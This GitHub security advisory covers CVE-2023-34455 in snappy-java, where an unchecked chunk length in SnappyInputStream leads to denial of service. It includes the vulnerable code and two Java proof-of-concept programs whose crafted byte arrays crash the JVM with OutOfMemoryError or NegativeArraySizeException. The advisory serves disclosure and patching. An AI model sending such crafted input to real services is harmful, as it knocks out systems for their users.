ghsa-qcwq-55hx-v3vh
Vulnerability from github
Summary
Due to use of an unchecked chunk length, an unrecoverable fatal error can occur.
Impact
Denial of Service
Description
The code in the function hasNextChunk in the file SnappyInputStream.java checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn’t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.
```java int readBytes = readNext(header, 0, 4); if (readBytes < 4) { return false; }
int chunkSize = SnappyOutputStream.readInt(header, 0);
if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {
.........
}
// extend the compressed data buffer size
if (compressed == null || chunkSize > compressed.length) {
compressed = new byte[chunkSize];
}
```
In the case that the “compressed” variable is null, a byte array is allocated with the size given by the input data. Since the code doesn’t test the legality of the “chunkSize” variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a “java.lang.NegativeArraySizeException” exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal “java.lang.OutOfMemoryError” error.
Steps To Reproduce
Compile and run the following code:
```java package org.example; import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
try {
in.read(out);
}
catch (Exception ignored) {
}
}
} ```
The program will crash with the following error (or similar), even though there is a catch clause, since “OutOfMemoryError” does not get caught by catching the “Exception” class:
``` Exception in thread "main" java.lang.OutOfMemoryError: Requested array size exceeds VM limit at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422) at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167) at java.base/java.io.InputStream.read(InputStream.java:217) at org.example.Main.main(Main.java:12)
```
Alternatively - compile and run the following code:
```java package org.example; import org.xerial.snappy.SnappyInputStream;
import java.io.*;
public class Main {
public static void main(String[] args) throws IOException {
byte[] data = {-126, 'S', 'N', 'A', 'P', 'P', 'Y', 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};
SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));
byte[] out = new byte[50];
in.read(out);
}
} ```
The program will crash with the following error (or similar):
``` Exception in thread "main" java.lang.NegativeArraySizeException: -1 at org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422) at org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167) at java.base/java.io.InputStream.read(InputStream.java:217) at org.example.Main.main(Main.java:12)
```
It is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project “flume”: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the “NegativeArraySizeException” exception won’t harm their users, but the “OutOfMemoryError” error can.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.1.10.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.xerial.snappy:snappy-java"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.1.10.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-34455"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-06-15T17:15:06Z",
"nvd_published_at": "2023-06-15T18:15:09Z",
"severity": "HIGH"
},
"details": "## Summary\nDue to use of an unchecked chunk length, an unrecoverable fatal error can occur.\n## Impact\nDenial of Service\n## Description\nThe code in the function [hasNextChunk](https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java#L388) in the file [SnappyInputStream.java](https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java) checks if a given stream has more chunks to read. It does that by attempting to read 4 bytes. If it wasn\u2019t possible to read the 4 bytes, the function returns false. Otherwise, if 4 bytes were available, the code treats them as the length of the next chunk.\n\n\n\n```java\n int readBytes = readNext(header, 0, 4);\n if (readBytes \u003c 4) {\n return false;\n }\n\n int chunkSize = SnappyOutputStream.readInt(header, 0);\n if (chunkSize == SnappyCodec.MAGIC_HEADER_HEAD) {\n .........\n }\n\n // extend the compressed data buffer size\n if (compressed == null || chunkSize \u003e compressed.length) {\n compressed = new byte[chunkSize];\n }\n\n```\n\nIn the case that the \u201ccompressed\u201d variable is null, a byte array is allocated with the size given by the input data. Since the code doesn\u2019t test the legality of the \u201cchunkSize\u201d variable, it is possible to pass a negative number (such as 0xFFFFFFFF which is -1), which will cause the code to raise a \u201cjava.lang.NegativeArraySizeException\u201d exception. A worse case would happen when passing a huge positive value (such as 0x7FFFFFFF), which would raise the fatal \u201cjava.lang.OutOfMemoryError\u201d error.\n\n\n## Steps To Reproduce\nCompile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n byte[] data = {-126, \u0027S\u0027, \u0027N\u0027, \u0027A\u0027, \u0027P\u0027, \u0027P\u0027, \u0027Y\u0027, 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0x7f, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n byte[] out = new byte[50];\n try {\n in.read(out);\n }\n catch (Exception ignored) {\n\n }\n }\n}\n```\n\nThe program will crash with the following error (or similar), even though there is a catch clause, since \u201cOutOfMemoryError\u201d does not get caught by catching the \u201cException\u201d class:\n\n```\nException in thread \"main\" java.lang.OutOfMemoryError: Requested array size exceeds VM limit\n\tat org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)\n\tat org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)\n\tat java.base/java.io.InputStream.read(InputStream.java:217)\n\tat org.example.Main.main(Main.java:12)\n\n```\n\n\nAlternatively - compile and run the following code:\n\n```java\npackage org.example;\nimport org.xerial.snappy.SnappyInputStream;\n\nimport java.io.*;\n\npublic class Main {\n\n public static void main(String[] args) throws IOException {\n byte[] data = {-126, \u0027S\u0027, \u0027N\u0027, \u0027A\u0027, \u0027P\u0027, \u0027P\u0027, \u0027Y\u0027, 0, 0, 0, 0, 0, 0, 0, 0, 0,(byte) 0xff, (byte) 0xff, (byte) 0xff, (byte) 0xff};\n SnappyInputStream in = new SnappyInputStream(new ByteArrayInputStream(data));\n byte[] out = new byte[50];\n in.read(out);\n }\n}\n```\n\nThe program will crash with the following error (or similar):\n\n```\nException in thread \"main\" java.lang.NegativeArraySizeException: -1\n\tat org.xerial.snappy.SnappyInputStream.hasNextChunk(SnappyInputStream.java:422)\n\tat org.xerial.snappy.SnappyInputStream.read(SnappyInputStream.java:167)\n\tat java.base/java.io.InputStream.read(InputStream.java:217)\n\tat org.example.Main.main(Main.java:12)\n\n```\n\n\nIt is important to note that these examples were written by using a flow that is generally used by developers, and can be seen for example in the Apache project \u201cflume\u201d: https://github.com/apache/flume/blob/f9dbb2de255d59e35e3668a5c6c66a268a055207/flume-ng-channels/flume-file-channel/src/main/java/org/apache/flume/channel/file/Serialization.java#L278. Since they used try-catch, the \u201cNegativeArraySizeException\u201d exception won\u2019t harm their users, but the \u201cOutOfMemoryError\u201d error can.",
"id": "GHSA-qcwq-55hx-v3vh",
"modified": "2023-08-18T15:45:35Z",
"published": "2023-06-15T17:15:06Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/security/advisories/GHSA-qcwq-55hx-v3vh"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-34455"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/commit/3bf67857fcf70d9eea56eed4af7c925671e8eaea"
},
{
"type": "PACKAGE",
"url": "https://github.com/xerial/snappy-java"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/blob/05c39b2ca9b5b7b39611529cc302d3d796329611/src/main/java/org/xerial/snappy/SnappyInputStream.java#L388"
},
{
"type": "WEB",
"url": "https://github.com/xerial/snappy-java/blob/master/src/main/java/org/xerial/snappy/SnappyInputStream.java"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20230818-0009"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "snappy-java\u0027s unchecked chunk length leads to DoS"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
- Confirmed: The vulnerability is confirmed from an analyst perspective.
- Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
- Patched: This vulnerability was successfully patched by the user reporting the sighting.
- Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
- Not confirmed: The user expresses doubt about the veracity of the vulnerability.
- Not patched: This vulnerability was not successfully patched by the user reporting the sighting.